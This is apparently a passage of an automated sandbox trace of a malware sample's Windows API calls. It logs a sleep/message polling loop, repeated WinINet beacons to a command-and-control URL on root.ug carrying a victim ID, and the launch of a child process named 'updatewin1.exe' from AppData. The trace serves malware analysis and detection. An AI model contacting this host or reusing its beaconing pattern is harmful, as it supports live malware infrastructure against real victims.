wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.699] Sleep (dwMilliseconds=0x64) [0094.811] timeGetTime () returned 0x23cb1 [0094.811] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.811] Sleep (dwMilliseconds=0x64) [0094.933] timeGetTime () returned 0x23d1e [0094.933] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0094.933] Sleep (dwMilliseconds=0x64) [0095.042] timeGetTime () returned 0x23d8b [0095.042] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.042] Sleep (dwMilliseconds=0x64) [0095.152] timeGetTime () returned 0x23df8 [0095.152] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.152] Sleep (dwMilliseconds=0x64) [0095.261] timeGetTime () returned 0x23e66 [0095.261] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.261] Sleep (dwMilliseconds=0x64) [0095.370] timeGetTime () returned 0x23ed3 [0095.370] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.370] Sleep (dwMilliseconds=0x64) [0095.484] timeGetTime () returned 0x23f40 [0095.484] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.484] Sleep (dwMilliseconds=0x64) [0095.589] timeGetTime () returned 0x23fad [0095.589] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.589] Sleep (dwMilliseconds=0x64) [0095.713] timeGetTime () returned 0x2401a [0095.713] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.713] Sleep (dwMilliseconds=0x64) [0095.822] timeGetTime () returned 0x24088 [0095.822] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0095.822] Sleep (dwMilliseconds=0x64) [0095.948] timeGetTime () returned 0x240f5 [0095.948] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30af070 | out: hHeap=0x680000) returned 1 [0095.948] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0095.948] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xa0) returned 0x30c1500 [0095.948] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30c9ed0 [0095.948] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x840) returned 0x30b1290 [0095.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c9ed0, cbMultiByte=-1, lpWideCharStr=0x30b1290, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0095.949] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x850) returned 0x30e2270 [0095.949] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0095.949] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30c9ed0 | out: hHeap=0x680000) returned 1 [0095.949] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x8e0) returned 0x30aefe8 [0095.949] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30c1500 | out: hHeap=0x680000) returned 1 [0095.949] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30e2270 | out: hHeap=0x680000) returned 1 [0095.949] lstrcpyW (in: lpString1=0xfc2af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0095.949] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpString2="&first=true" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true" [0095.949] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0096.386] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xfc2a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xfc2a774 | out: lpBuffer=0xfc2a778*, lpdwNumberOfBytesRead=0xfc2a774*=0x101) returned 1 [0096.386] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0096.387] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0096.387] timeGetTime () returned 0x241a0 [0096.387] timeGetTime () returned 0x241a0 [0096.387] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0096.387] Sleep (dwMilliseconds=0x64) [0096.493] timeGetTime () returned 0x2420e [0096.493] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0096.493] Sleep (dwMilliseconds=0x64) [0096.602] timeGetTime () returned 0x2427b [0096.602] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0096.602] Sleep (dwMilliseconds=0x64) [0096.712] timeGetTime () returned 0x242e8 [0096.712] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0096.712] Sleep (dwMilliseconds=0x64) [0096.821] timeGetTime () returned 0x24355 [0096.821] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0096.821] Sleep (dwMilliseconds=0x64) [0096.930] timeGetTime () returned 0x243c2 [0096.930] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0096.930] Sleep (dwMilliseconds=0x64) [0097.039] timeGetTime () returned 0x24430 [0097.039] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.039] Sleep (dwMilliseconds=0x64) [0097.148] timeGetTime () returned 0x2449d [0097.148] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.148] Sleep (dwMilliseconds=0x64) [0097.260] timeGetTime () returned 0x2450a [0097.260] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.260] Sleep (dwMilliseconds=0x64) [0097.367] timeGetTime () returned 0x24577 [0097.367] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.367] Sleep (dwMilliseconds=0x64) [0097.476] timeGetTime () returned 0x245e4 [0097.476] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.476] Sleep (dwMilliseconds=0x64) [0097.585] timeGetTime () returned 0x24652 [0097.585] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.585] Sleep (dwMilliseconds=0x64) [0097.741] timeGetTime () returned 0x246bf [0097.741] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.741] Sleep (dwMilliseconds=0x64) [0097.850] timeGetTime () returned 0x2472c [0097.850] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.850] Sleep (dwMilliseconds=0x64) [0097.959] timeGetTime () returned 0x24799 [0097.959] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0097.959] Sleep (dwMilliseconds=0x64) [0098.069] timeGetTime () returned 0x24806 [0098.069] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.069] Sleep (dwMilliseconds=0x64) [0098.180] timeGetTime () returned 0x24874 [0098.180] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.180] Sleep (dwMilliseconds=0x64) [0098.287] timeGetTime () returned 0x248e1 [0098.287] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.287] Sleep (dwMilliseconds=0x64) [0098.404] timeGetTime () returned 0x2494e [0098.404] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.404] Sleep (dwMilliseconds=0x64) [0098.505] timeGetTime () returned 0x249bb [0098.506] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.506] Sleep (dwMilliseconds=0x64) [0098.615] timeGetTime () returned 0x24a28 [0098.615] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.615] Sleep (dwMilliseconds=0x64) [0098.725] timeGetTime () returned 0x24a96 [0098.725] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.725] Sleep (dwMilliseconds=0x64) [0098.835] timeGetTime () returned 0x24b03 [0098.835] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.835] Sleep (dwMilliseconds=0x64) [0098.942] timeGetTime () returned 0x24b70 [0098.942] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0098.942] Sleep (dwMilliseconds=0x64) [0099.051] timeGetTime () returned 0x24bdd [0099.051] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.051] Sleep (dwMilliseconds=0x64) [0099.179] timeGetTime () returned 0x24c5a [0099.179] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.179] Sleep (dwMilliseconds=0x64) [0099.287] timeGetTime () returned 0x24cc7 [0099.287] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.287] Sleep (dwMilliseconds=0x64) [0099.395] timeGetTime () returned 0x24d34 [0099.395] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.395] Sleep (dwMilliseconds=0x64) [0099.504] timeGetTime () returned 0x24da2 [0099.504] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.504] Sleep (dwMilliseconds=0x64) [0099.648] timeGetTime () returned 0x24e2e [0099.648] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.648] Sleep (dwMilliseconds=0x64) [0099.753] timeGetTime () returned 0x24e9b [0099.753] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.808] Sleep (dwMilliseconds=0x64) [0099.910] timeGetTime () returned 0x24f37 [0099.910] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0099.910] Sleep (dwMilliseconds=0x64) [0100.087] timeGetTime () returned 0x24fa4 [0100.087] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.087] Sleep (dwMilliseconds=0x64) [0100.191] timeGetTime () returned 0x25012 [0100.191] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.191] Sleep (dwMilliseconds=0x64) [0100.314] timeGetTime () returned 0x2507f [0100.314] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.314] Sleep (dwMilliseconds=0x64) [0100.409] timeGetTime () returned 0x250ec [0100.410] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.410] Sleep (dwMilliseconds=0x64) [0100.520] timeGetTime () returned 0x25159 [0100.520] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.520] Sleep (dwMilliseconds=0x64) [0100.629] timeGetTime () returned 0x251c6 [0100.629] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.629] Sleep (dwMilliseconds=0x64) [0100.736] timeGetTime () returned 0x25234 [0100.736] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0100.736] Sleep (dwMilliseconds=0x64) [0106.733] timeGetTime () returned 0x252a1 [0106.733] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0106.733] Sleep (dwMilliseconds=0x64) [0106.882] timeGetTime () returned 0x2530e [0106.883] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0106.883] Sleep (dwMilliseconds=0x64) [0107.023] timeGetTime () returned 0x2537b [0107.023] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.023] Sleep (dwMilliseconds=0x64) [0107.163] timeGetTime () returned 0x253e8 [0107.163] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.163] Sleep (dwMilliseconds=0x64) [0107.304] timeGetTime () returned 0x25456 [0107.304] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.304] Sleep (dwMilliseconds=0x64) [0107.413] timeGetTime () returned 0x254c3 [0107.413] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.413] Sleep (dwMilliseconds=0x64) [0107.524] timeGetTime () returned 0x25530 [0107.524] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30aefe8 | out: hHeap=0x680000) returned 1 [0107.524] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0107.524] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0xa0) returned 0x30c1500 [0107.525] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x30c9ed0 [0107.525] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x840) returned 0x30b1290 [0107.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x30c9ed0, cbMultiByte=-1, lpWideCharStr=0x30b1290, cchWideChar=1056 | out: lpWideCharStr="E3674298AE18BF5A335DF90DDA3F669F") returned 33 [0107.525] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x850) returned 0x30e2270 [0107.525] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30b1290 | out: hHeap=0x680000) returned 1 [0107.525] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30c9ed0 | out: hHeap=0x680000) returned 1 [0107.525] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x8e0) returned 0x30aefe8 [0107.525] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30c1500 | out: hHeap=0x680000) returned 1 [0107.525] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x30e2270 | out: hHeap=0x680000) returned 1 [0107.525] lstrcpyW (in: lpString1=0xfc2af78, lpString2="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F" [0107.525] lstrcatW (in: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F", lpString2="&first=true" | out: lpString1="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true") returned="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true" [0107.525] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://root.ug/Asjdhfiughdhhjbdfh45687husdfhipenelop8/Asdhuage7386/get.php?pid=E3674298AE18BF5A335DF90DDA3F669F&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0107.730] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xfc2a778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xfc2a774 | out: lpBuffer=0xfc2a778*, lpdwNumberOfBytesRead=0xfc2a774*=0x101) returned 1 [0107.730] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0107.730] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0107.730] timeGetTime () returned 0x255fb [0107.730] timeGetTime () returned 0x255fb [0107.730] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.730] Sleep (dwMilliseconds=0x64) [0107.834] timeGetTime () returned 0x25668 [0107.834] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.834] Sleep (dwMilliseconds=0x64) [0107.944] timeGetTime () returned 0x256d5 [0107.944] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0107.944] Sleep (dwMilliseconds=0x64) [0108.057] timeGetTime () returned 0x25742 [0108.058] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.058] Sleep (dwMilliseconds=0x64) [0108.162] timeGetTime () returned 0x257b0 [0108.162] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.162] Sleep (dwMilliseconds=0x64) [0108.302] timeGetTime () returned 0x2581d [0108.302] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.302] Sleep (dwMilliseconds=0x64) [0108.413] timeGetTime () returned 0x2588a [0108.413] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.413] Sleep (dwMilliseconds=0x64) [0108.534] timeGetTime () returned 0x258f7 [0108.534] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.534] Sleep (dwMilliseconds=0x64) [0108.677] timeGetTime () returned 0x25964 [0108.677] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.677] Sleep (dwMilliseconds=0x64) [0108.786] timeGetTime () returned 0x259d2 [0108.786] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0108.787] Sleep (dwMilliseconds=0x64) [0109.072] timeGetTime () returned 0x25a3f [0109.072] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0109.072] Sleep (dwMilliseconds=0x64) [0109.176] timeGetTime () returned 0x25aac [0109.176] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0109.176] Sleep (dwMilliseconds=0x64) [0109.285] timeGetTime () returned 0x25b19 [0109.285] PeekMessageW (in: lpMsg=0xfc2a6c8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xfc2a6c8) returned 0 [0109.285] Sleep (dwMilliseconds=0x64) Thread: id = 44 os_tid = 0xac4 Process: id = "6" image_name = "updatewin1.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe" page_root = "0x3762b000" os_pid = "0xabc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xa5c" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0xac0 [0093.376] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xeb89cc90, dwHighDateTime=0x1d50371)) [0093.376] GetCurrentProcessId () returned 0xabc [0093.376] GetCurrentThreadId () returned 0xac0 [0093.376] GetTickCount () returned 0x237f0 [0093.376] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=21323707121) returned 1 [0093.390] GetStartupInfoA (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c557195c-349f-4f92-bc77-a9a63b9592e0\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, 